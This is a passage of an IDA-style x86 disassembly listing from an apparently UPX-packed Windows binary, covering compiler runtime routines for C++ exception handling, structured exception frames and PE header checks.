mov [eax+0Ch], ecx
cmp dword ptr [ebx+4], 0
jnz short loc_40FF3E
push 101h
mov eax, [ebx+8]
call sub_414715
mov ecx, 1
mov eax, [ebx+8]
call sub_414734
jmp short loc_40FF3E
; ---------------------------------------------------------------------------
loc_40FF8E: ; CODE XREF: sub_40FF0C+45j
; sub_40FF0C+52j
pop large dword ptr fs:0
add esp, 18h
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_40FF9C: ; DATA XREF: sub_40FF0C+14o
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_40FFE1
mov eax, [esp+arg_4]
mov ecx, [eax+8]
xor ecx, eax
call sub_40AC1C
push ebp
mov ebp, [eax+18h]
push dword ptr [eax+0Ch]
push dword ptr [eax+10h]
push dword ptr [eax+14h]
call sub_40FF0C
add esp, 0Ch
pop ebp
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_40FFE1: ; CODE XREF: sub_40FF0C+A0j
retn
sub_40FF0C endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
push dword ptr [ecx+1Ch]
push dword ptr [ecx+18h]
push dword ptr [ecx+28h]
call sub_40FF0C
add esp, 0Ch
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_40FFFE proc near ; CODE XREF: sub_40BE20+89p
push ebp
push esi
push edi
push ebx
mov ebp, edx
xor eax, eax
xor ebx, ebx
xor edx, edx
xor esi, esi
xor edi, edi
loc_41000E: ; DATA XREF: UPX1:004319CEo
call ecx
pop ebx
pop edi
pop esi
pop ebp
locret_410014: ; DATA XREF: UPX1:004319ECo
retn
sub_40FFFE endp
; =============== S U B R O U T I N E =======================================
sub_410015 proc near ; CODE XREF: sub_40BE20+167p
; DATA XREF: UPX1:004319A0o
mov ebp, edx
mov esi, ecx
mov eax, ecx
push 1
call sub_414715
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
xor edi, edi
jmp esi
sub_410015 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41002E proc near ; CODE XREF: sub_40BE20+116p
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0
push 0
push offset loc_410043
push ecx
call sub_416F6E ; RtlUnwind
loc_410043: ; DATA XREF: sub_41002E+Ao
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41002E endp
; =============== S U B R O U T I N E =======================================
sub_410048 proc near ; CODE XREF: sub_40BE20+12Dp
; sub_40BE20+182p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebp
mov ebp, [esp+4+arg_0]
push edx
push ecx
push [esp+0Ch+arg_4]
loc_410053: ; DATA XREF: UPX0:0041F004o
; UPX0:off_4239B0o
call sub_40FF0C
add esp, 0Ch
pop ebp
retn 8
sub_410048 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410060 proc near ; CODE XREF: sub_4100F0+41p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
mov eax, 5A4Dh
cmp [ecx], ax
jz short loc_410076
loc_410072: ; CODE XREF: sub_410060+21j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_410076: ; CODE XREF: sub_410060+10j
mov eax, [ecx+3Ch]
add eax, ecx
cmp dword ptr [eax], 4550h
jnz short loc_410072
xor edx, edx
mov ecx, 10Bh
cmp [eax+18h], cx
setz dl
mov eax, edx
pop ebp
retn
sub_410060 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100A0 proc near ; CODE XREF: sub_4100F0+5Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
push ebx
push esi
movzx esi, word ptr [ecx+6]
xor edx, edx
push edi
lea eax, [eax+ecx+18h]
test esi, esi
jbe short loc_4100DD
mov edi, [ebp+arg_4]
loc_4100C5: ; CODE XREF: sub_4100A0+3Bj
mov ecx, [eax+0Ch]
cmp edi, ecx
jb short loc_4100D5
mov ebx, [eax+8]
add ebx, ecx
cmp edi, ebx
jb short loc_4100DF
loc_4100D5: ; CODE XREF: sub_4100A0+2Aj
inc edx
add eax, 28h
cmp edx, esi
jb short loc_4100C5
loc_4100DD: ; CODE XREF: sub_4100A0+20j
xor eax, eax
loc_4100DF: ; CODE XREF: sub_4100A0+33j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4100A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4100F0 proc near ; CODE XREF: sub_40BE20+F8p
; sub_40DB8F+13p ...
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
push 0FFFFFFFEh
push offset dword_426A50
push offset sub_40BE20
mov eax, large fs:0
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword_42A034
xor [ebp+var_8], eax
xor eax, ebp
push eax
lea eax, [ebp+var_10]
mov large fs:0, eax
mov [ebp+var_18], esp
mov [ebp+var_4], 0
push 400000h
call sub_410060
add esp, 4
test eax, eax
jz short loc_410192
mov eax, [ebp+arg_0]
sub eax, 400000h
push eax
push 400000h
call sub_4100A0
add esp, 8
test eax, eax
jz short loc_410192
mov eax, [eax+24h]
shr eax, 1Fh
not eax
and eax, 1
mov [ebp+var_4], 0FFFFFFFEh
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
mov eax, [ebp+var_14]
mov ecx, [eax]
mov eax, [ecx]
xor edx, edx
cmp eax, 0C0000005h
setz dl
mov eax, edx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
loc_410192: ; CODE XREF: sub_4100F0+4Bj
; sub_4100F0+65j
mov [ebp+var_4], 0FFFFFFFEh
xor eax, eax
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4100F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4101AD proc near ; CODE XREF: sub_410A1C+155p
arg_0 = byte ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
lea eax, [ebp+arg_0]
push eax
mov esi, ecx
call sub_40ACB7
mov dword ptr [esi], offset off_41DCA8
mov eax, esi
pop esi
pop ebp
retn 4
sub_4101AD endp
; ---------------------------------------------------------------------------
mov dword ptr [ecx], offset off_41DCA8
jmp sub_40AD84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4101D6 proc near ; DATA XREF: UPX0:off_41DCA8o
arg_0 = byte ptr 8
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov dword ptr [esi], offset off_41DCA8
call sub_40AD84
test [ebp+arg_0], 1
jz short loc_4101F6
push esi
call sub_40AC11
pop ecx
loc_4101F6: ; CODE XREF: sub_4101D6+17j
mov eax, esi
pop esi
pop ebp
retn 4
sub_4101D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4101FD proc near ; CODE XREF: sub_410449+50p
; sub_410A1C+20Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_410255
lea edx, [eax+8]
cmp byte ptr [edx], 0
jz short loc_410255
mov esi, [ebp+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_410234
add ecx, 8
push ecx
push edx
call sub_40EAF0
pop ecx
pop ecx
test eax, eax
jz short loc_410234
loc_410230: ; CODE XREF: sub_4101FD+3Fj
; sub_4101FD+4Dj ...
xor eax, eax
jmp short loc_410258
; ---------------------------------------------------------------------------
loc_410234: ; CODE XREF: sub_4101FD+21j
; sub_4101FD+31j
test byte ptr [esi], 2
jz short loc_41023E
test byte ptr [edi], 8
jz short loc_410230
loc_41023E: ; CODE XREF: sub_4101FD+3Aj
mov eax, [ebp+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41024C
test byte ptr [edi], 1
jz short loc_410230
loc_41024C: ; CODE XREF: sub_4101FD+48j
test al, 2
jz short loc_410255
test byte ptr [edi], 2
jz short loc_410230
loc_410255: ; CODE XREF: sub_4101FD+Fj
; sub_4101FD+17j ...
xor eax, eax
inc eax
loc_410258: ; CODE XREF: sub_4101FD+35j
pop edi
pop esi
pop ebp
retn
sub_4101FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41025C proc near ; CODE XREF: sub_4102A5+85p
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov eax, [eax]
mov eax, [eax]
cmp eax, 0E0434F4Dh
jz short loc_410287
cmp eax, 0E06D7363h
jnz short loc_4102A1
call sub_40E38F
and dword ptr [eax+90h], 0
jmp sub_40E02B
; ---------------------------------------------------------------------------
loc_410287: ; CODE XREF: sub_41025C+11j
call sub_40E38F
cmp dword ptr [eax+90h], 0
jle short loc_4102A1
call sub_40E38F
add eax, 90h
dec dword ptr [eax]
loc_4102A1: ; CODE XREF: sub_41025C+18j
; sub_41025C+37j
xor eax, eax
pop ebp
retn
sub_41025C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4102A5 proc near ; CODE XREF: sub_41050D+ECp
; sub_4108BA+38p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 10h
push offset dword_426A70
call __SEH_prolog4
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
cmp dword ptr [edi+4], 80h
jg short loc_4102C6
movsx esi, byte ptr [ebx+8]
jmp short loc_4102C9
; ---------------------------------------------------------------------------
loc_4102C6: ; CODE XREF: sub_4102A5+19j
mov esi, [ebx+8]
loc_4102C9: ; CODE XREF: sub_4102A5+1Fj
mov [ebp+var_1C], esi
call sub_40E38F
add eax, 90h
inc dword ptr [eax]
and [ebp+ms_exc.disabled], 0
loc_4102DC: ; CODE XREF: sub_4102A5+9Fj
cmp esi, [ebp+arg_C]
jz short loc_410346
cmp esi, 0FFFFFFFFh
jle short loc_4102EB
cmp esi, [edi+4]
jl short loc_4102F0
loc_4102EB: ; CODE XREF: sub_4102A5+3Fj
call sub_40E077
loc_4102F0: ; CODE XREF: sub_4102A5+44j
mov eax, esi
shl eax, 3
mov ecx, [edi+8]
add ecx, eax
mov esi, [ecx]
mov [ebp+var_20], esi
mov [ebp+ms_exc.disabled], 1
cmp dword ptr [ecx+4], 0
jz short loc_410321
mov [ebx+8], esi
push 103h
push ebx
mov ecx, [edi+8]
push dword ptr [ecx+eax+4]
call sub_410E70
loc_410321: ; CODE XREF: sub_4102A5+65j
and [ebp+ms_exc.disabled], 0
jmp short loc_410341
; ---------------------------------------------------------------------------
loc_410327: ; DATA XREF: UPX0:00426A90o
push [ebp+ms_exc.exc_ptr]
call sub_41025C
pop ecx
retn
; ---------------------------------------------------------------------------
loc_410331: ; DATA XREF: UPX0:00426A94o
mov esp, [ebp+ms_exc.old_esp]
and [ebp+ms_exc.disabled], 0
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_20]
loc_410341: ; CODE XREF: sub_4102A5+80j
mov [ebp+var_1C], esi
jmp short loc_4102DC
; ---------------------------------------------------------------------------
loc_410346: ; CODE XREF: sub_4102A5+3Aj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_41036B
cmp esi, [ebp+arg_C]
jz short loc_41035C
call sub_40E077
loc_41035C: ; CODE XREF: sub_4102A5+B0j
mov [ebx+8], esi
call __SEH_epilog4
retn
sub_4102A5 endp
; =============== S U B R O U T I N E =======================================
sub_410365 proc near ; DATA XREF: UPX0:00426A88o
mov ebx, [ebp+8]
mov esi, [ebp-1Ch]
sub_410365 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41036B proc near ; CODE XREF: sub_4102A5+A8p
call sub_40E38F
cmp dword ptr [eax+90h], 0
jle short locret_410385
call sub_40E38F
add eax, 90h
dec dword ptr [eax]
locret_410385: ; CODE XREF: sub_41036B+Cj
retn
sub_41036B endp
; =============== S U B R O U T I N E =======================================
sub_410386 proc near ; CODE XREF: sub_41050D+93p
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_4103C8
cmp dword ptr [eax+10h], 3
jnz short loc_4103C8
mov ecx, [eax+14h]
cmp ecx, 19930520h
jz short loc_4103B1
cmp ecx, 19930521h
jz short loc_4103B1
cmp ecx, 19930522h
jnz short loc_4103C8
loc_4103B1: ; CODE XREF: sub_410386+19j
; sub_410386+21j
cmp dword ptr [eax+1Ch], 0
jnz short loc_4103C8
call sub_40E38F
xor ecx, ecx
inc ecx
mov [eax+20Ch], ecx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_4103C8: ; CODE XREF: sub_410386+8j
; sub_410386+Ej ...
xor eax, eax
retn
sub_410386 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4103CB proc near ; CODE XREF: sub_40BE20+10Ap
; sub_410633+6Ep ...
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 8
push offset dword_426A98
call __SEH_prolog4
mov ecx, [ebp+arg_0]
test ecx, ecx
jz short loc_410408
cmp dword ptr [ecx], 0E06D7363h
jnz short loc_410408
mov eax, [ecx+1Ch]
test eax, eax
jz short loc_410408
mov eax, [eax+4]
test eax, eax
jz short loc_410408
and [ebp+ms_exc.disabled], 0
push eax
push dword ptr [ecx+18h]
call sub_40C0B9
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
loc_410408: ; CODE XREF: sub_4103CB+11j
; sub_4103CB+19j ...
call __SEH_epilog4
retn
sub_4103CB endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
call sub_40E02B
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410420 proc near ; CODE XREF: sub_4106A9+86p
; sub_4106A9+113p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
mov edi, edi
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
mov eax, [ecx]
push esi
mov esi, [ebp+arg_0]
add eax, esi
cmp dword ptr [ecx+4], 0
jl short loc_410446
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov esi, [edx+esi]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_410446: ; CODE XREF: sub_410420+14j
pop esi
pop ebp
retn
sub_410420 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410449 proc near ; CODE XREF: sub_410A1C+10Fp
; sub_410A1C+29Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0Ch
test edi, edi
jnz short loc_41045F
call sub_40E077
call sub_40E02B
loc_41045F: ; CODE XREF: sub_410449+Aj
and [ebp+var_8], 0
cmp dword ptr [edi], 0
mov [ebp+var_1], 0
jle short loc_4104BF
push ebx
push esi
loc_41046E: ; CODE XREF: sub_410449+72j
mov eax, [ebp+arg_0]
mov eax, [eax+1Ch]
mov eax, [eax+0Ch]
mov ebx, [eax]
lea esi, [eax+4]
test ebx, ebx
jle short loc_4104B3
mov eax, [ebp+var_8]
shl eax, 4
mov [ebp+var_C], eax
loc_410489: ; CODE XREF: sub_410449+62j
mov ecx, [ebp+arg_0]
push dword ptr [ecx+1Ch]
mov eax, [esi]
push eax
mov eax, [edi+4]
add eax, [ebp+var_C]
push eax
call sub_4101FD
add esp, 0Ch
test eax, eax
jnz short loc_4104AF
dec ebx
add esi, 4
test ebx, ebx
jg short loc_410489
jmp short loc_4104B3
; ---------------------------------------------------------------------------
loc_4104AF: ; CODE XREF: sub_410449+5Aj
mov [ebp+var_1], 1
loc_4104B3: ; CODE XREF: sub_410449+35j
; sub_410449+64j
inc [ebp+var_8]
mov eax, [ebp+var_8]
cmp eax, [edi]
jl short loc_41046E
pop esi
pop ebx
loc_4104BF: ; CODE XREF: sub_410449+21j
mov al, [ebp+var_1]
leave
retn
sub_410449 endp
; =============== S U B R O U T I N E =======================================
sub_4104C4 proc near ; CODE XREF: sub_410A1C+2FBp
push 4
mov eax, offset loc_41BEEF
call sub_40C4A0
call sub_40E38F
cmp dword ptr [eax+94h], 0
jz short loc_4104E3
call sub_40E077
loc_4104E3: ; CODE XREF: sub_4104C4+18j
and dword ptr [ebp-4], 0
call sub_40E064
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_40E02B
loc_4104F5: ; DATA XREF: UPX0:00426AC0o
call sub_40E38F
mov ecx, [ebp+8]
push 0
push 0
mov [eax+94h], ecx
call sub_40C03B
int 3 ; Trap to Debugger
sub_4104C4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41050D proc near ; CODE XREF: sub_4108BA+59p
var_3C = byte ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
; FUNCTION CHUNK AT 00410628 SIZE 00000005 BYTES
push 2Ch
push offset dword_426B10
call __SEH_prolog4
mov ebx, ecx
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_0]
mov [ebp+var_1C], ebx
and [ebp+var_34], 0
mov eax, [edi-4]
mov [ebp+var_24], eax
push dword ptr [esi+18h]
lea eax, [ebp+var_3C]
push eax
call sub_40C368
pop ecx
pop ecx
mov [ebp+var_28], eax
call sub_40E38F
mov eax, [eax+88h]
mov [ebp+var_2C], eax
call sub_40E38F
mov eax, [eax+8Ch]
mov [ebp+var_30], eax
call sub_40E38F
mov [eax+88h], esi
call sub_40E38F
mov ecx, [ebp+arg_8]
mov [eax+8Ch], ecx
and [ebp+ms_exc.disabled], 0
xor eax, eax
inc eax
mov [ebp+arg_8], eax
mov [ebp+ms_exc.disabled], eax
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+arg_C]
push edi
call sub_40C40D
add esp, 14h
mov [ebp+var_1C], eax
and [ebp+ms_exc.disabled], 0
jmp short loc_41060C
; ---------------------------------------------------------------------------
loc_41059D: ; DATA XREF: UPX0:00426B30o
mov eax, [ebp+ms_exc.exc_ptr]
call sub_410386
retn
; ---------------------------------------------------------------------------
loc_4105A6: ; DATA XREF: UPX0:00426B34o
mov esp, [ebp+ms_exc.old_esp]
call sub_40E38F
and dword ptr [eax+20Ch], 0
mov esi, [ebp+arg_C]
mov edi, [ebp+arg_4]
cmp dword ptr [esi+4], 80h
jg short loc_4105CA
movsx ecx, byte ptr [edi+8]
jmp short loc_4105CD
; ---------------------------------------------------------------------------
loc_4105CA: ; CODE XREF: sub_41050D+B5j
mov ecx, [edi+8]
loc_4105CD: ; CODE XREF: sub_41050D+BBj
mov ebx, [esi+10h]
and [ebp+var_20], 0
loc_4105D4: ; CODE XREF: sub_41050D+11Ej
mov eax, [ebp+var_20]
cmp eax, [esi+0Ch]
jnb short loc_4105F4
imul eax, 14h
add eax, ebx
mov edx, [eax+4]
cmp ecx, edx
jle short loc_410628
cmp ecx, [eax+8]
jg short loc_410628
mov eax, [esi+8]
mov ecx, [eax+edx*8+8]
loc_4105F4: ; CODE XREF: sub_41050D+CDj
push ecx
push esi
push 0
push edi
call sub_4102A5
add esp, 10h
and [ebp+var_1C], 0
and [ebp+ms_exc.disabled], 0
mov esi, [ebp+arg_0]
loc_41060C: ; CODE XREF: sub_41050D+8Ej
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov [ebp+arg_8], 0
call sub_410633
mov eax, [ebp+var_1C]
call __SEH_epilog4
retn
sub_41050D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41050D
loc_410628: ; CODE XREF: sub_41050D+D9j
; sub_41050D+DEj
inc [ebp+var_20]
jmp short loc_4105D4
; END OF FUNCTION CHUNK FOR sub_41050D
; =============== S U B R O U T I N E =======================================
sub_41062D proc near ; DATA XREF: UPX0:00426B28o
mov edi, [ebp+0Ch]
mov esi, [ebp+8]
sub_41062D endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_410633 proc near ; CODE XREF: sub_41050D+10Dp
mov eax, [ebp-24h]
mov [edi-4], eax
push dword ptr [ebp-28h]
call sub_40C3BB
pop ecx
call sub_40E38F
mov ecx, [ebp-2Ch]
mov [eax+88h], ecx
call sub_40E38F
mov ecx, [ebp-30h]
mov [eax+8Ch], ecx
cmp dword ptr [esi], 0E06D7363h
jnz short locret_4106A8
cmp dword ptr [esi+10h], 3
jnz short locret_4106A8
mov eax, [esi+14h]
cmp eax, 19930520h
jz short loc_410684
cmp eax, 19930521h
jz short loc_410684
cmp eax, 19930522h
jnz short locret_4106A8
loc_410684: ; CODE XREF: sub_410633+41j
; sub_410633+48j
cmp dword ptr [ebp-34h], 0
jnz short locret_4106A8
cmp dword ptr [ebp-1Ch], 0
jz short locret_4106A8
push dword ptr [esi+18h]
call sub_40C394
pop ecx
test eax, eax
jz short locret_4106A8
push dword ptr [ebp+10h]
push esi
call sub_4103CB
pop ecx
pop ecx
locret_4106A8: ; CODE XREF: sub_410633+31j
; sub_410633+37j ...
retn
sub_410633 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4106A9 proc near ; CODE XREF: sub_410828+36p
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 0Ch
push offset dword_426B38
call __SEH_prolog4
xor edx, edx
mov [ebp+var_1C], edx
mov eax, [ebp+arg_8]
mov ecx, [eax+4]
cmp ecx, edx
jz loc_410820
cmp [ecx+8], dl
jz loc_410820
mov ecx, [eax+8]
cmp ecx, edx
jnz short loc_4106E4
test dword ptr [eax], 80000000h
jz loc_410820
loc_4106E4: ; CODE XREF: sub_4106A9+2Dj
mov eax, [eax]
mov esi, [ebp+arg_4]
test eax, eax
js short loc_4106F1
lea esi, [ecx+esi+0Ch]
loc_4106F1: ; CODE XREF: sub_4106A9+42j
mov [ebp+ms_exc.disabled], edx
xor ebx, ebx
inc ebx
push ebx
test al, 8
jz short loc_41073D
mov edi, [ebp+arg_0]
push dword ptr [edi+18h]
call sub_414737
pop ecx
pop ecx
test eax, eax
jz loc_410803
push ebx
push esi
call sub_414737
pop ecx
pop ecx
test eax, eax
jz loc_410803
mov eax, [edi+18h]
mov [esi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41072E: ; CODE XREF: sub_4106A9+E7j
push eax
call sub_410420
pop ecx
pop ecx
mov [esi], eax
jmp loc_410808
; ---------------------------------------------------------------------------
loc_41073D: ; CODE XREF: sub_4106A9+51j
mov edi, [ebp+arg_C]
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
test [edi], bl
jz short loc_410792
call sub_414737
pop ecx
pop ecx
test eax, eax
jz loc_410803
push ebx
push esi
call sub_414737
pop ecx
pop ecx
test eax, eax
jz loc_410803
push dword ptr [edi+14h]
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
push esi
call sub_40CA30
add esp, 0Ch
cmp dword ptr [edi+14h], 4
jnz loc_410808
mov eax, [esi]
test eax, eax
jz short loc_410808
add edi, 8
push edi
jmp short loc_41072E
; ---------------------------------------------------------------------------
loc_410792: ; CODE XREF: sub_4106A9+9Fj
cmp [edi+18h], edx
jnz short loc_4107CF
call sub_414737
pop ecx
pop ecx
test eax, eax
jz short loc_410803
push ebx
push esi
call sub_414737
pop ecx
pop ecx
test eax, eax
jz short loc_410803
push dword ptr [edi+14h]
add edi, 8
push edi
mov eax, [ebp+arg_0]
push dword ptr [eax+18h]
call sub_410420
pop ecx
pop ecx
push eax
push esi
call sub_40CA30
add esp, 0Ch
jmp short loc_410808
; ---------------------------------------------------------------------------
loc_4107CF: ; CODE XREF: sub_4106A9+ECj
call sub_414737
pop ecx
pop ecx
test eax, eax
jz short loc_410803
push ebx
push esi
call sub_414737
pop ecx
pop ecx
test eax, eax
jz short loc_410803
push dword ptr [edi+18h]
call sub_414737
pop ecx
test eax, eax
jz short loc_410803
test byte ptr [edi], 4
push 0
pop eax
setnz al
inc eax
mov [ebp+var_1C], eax
jmp short loc_410808
; ---------------------------------------------------------------------------
loc_410803: ; CODE XREF: sub_4106A9+62j
; sub_4106A9+73j ...
call sub_40E077
loc_410808: ; CODE XREF: sub_4106A9+8Fj
; sub_4106A9+D7j ...
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
mov eax, [ebp+var_1C]
jmp short loc_410822
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+ms_exc.old_esp]
call sub_40E02B
loc_410820: ; CODE XREF: sub_4106A9+19j
; sub_4106A9+22j ...
xor eax, eax
loc_410822: ; CODE XREF: sub_4106A9+169j
call __SEH_epilog4
retn
sub_4106A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410828 proc near ; CODE XREF: sub_4108BA+13p
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 8
push offset dword_426B58
call __SEH_prolog4
mov eax, [ebp+arg_8]
test dword ptr [eax], 80000000h
jz short loc_410844
mov ebx, [ebp+arg_4]
jmp short loc_41084E
; ---------------------------------------------------------------------------
loc_410844: ; CODE XREF: sub_410828+15j
mov ecx, [eax+8]
mov edx, [ebp+arg_4]
lea ebx, [ecx+edx+0Ch]
loc_41084E: ; CODE XREF: sub_410828+1Aj
and [ebp+ms_exc.disabled], 0
mov esi, [ebp+arg_C]
push esi
push eax
push [ebp+arg_4]
mov edi, [ebp+arg_0]
push edi
call sub_4106A9
add esp, 10h
dec eax
jz short loc_410888
dec eax
jnz short loc_4108A0
push 1
lea eax, [esi+8]
push eax
push dword ptr [edi+18h]
call sub_410420
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push ebx
call sub_40C0B9
jmp short loc_4108A0
; ---------------------------------------------------------------------------
loc_410888: ; CODE XREF: sub_410828+3Fj
lea eax, [esi+8]
push eax
push dword ptr [edi+18h]
call sub_410420
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push ebx
call sub_40C0B9
loc_4108A0: ; CODE XREF: sub_410828+42j
; sub_410828+5Ej
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call __SEH_epilog4
retn
sub_410828 endp
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
call sub_40E02B
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4108BA proc near ; CODE XREF: sub_410928+D6p
; sub_410A1C+24Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
mov edi, edi
push ebp
mov ebp, esp
cmp [ebp+arg_10], 0
jz short loc_4108D5
push [ebp+arg_10]
push ebx
push esi
push [ebp+arg_0]
call sub_410828
add esp, 10h
loc_4108D5: ; CODE XREF: sub_4108BA+9j
cmp [ebp+arg_18], 0
push [ebp+arg_0]
jnz short loc_4108E1
push esi
jmp short loc_4108E4
; ---------------------------------------------------------------------------
loc_4108E1: ; CODE XREF: sub_4108BA+22j
push [ebp+arg_18]
loc_4108E4: ; CODE XREF: sub_4108BA+25j
call sub_40C0C0
push dword ptr [edi]
push [ebp+arg_C]
push [ebp+arg_8]
push esi
call sub_4102A5
mov eax, [edi+4]
push 100h
push [ebp+arg_14]
inc eax
push [ebp+arg_C]
mov [esi+8], eax
push [ebp+arg_4]
mov ecx, [ebx+0Ch]
push esi
push [ebp+arg_0]
call sub_41050D
add esp, 28h
test eax, eax
jz short loc_410926
push esi
push eax
call sub_40C087
loc_410926: ; CODE XREF: sub_4108BA+63j
pop ebp
retn
sub_4108BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410928 proc near ; CODE XREF: sub_410A1C+327p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, [ebp+arg_0]
cmp dword ptr [esi], 80000003h
jz loc_410A19
push edi
call sub_40E38F
cmp dword ptr [eax+80h], 0
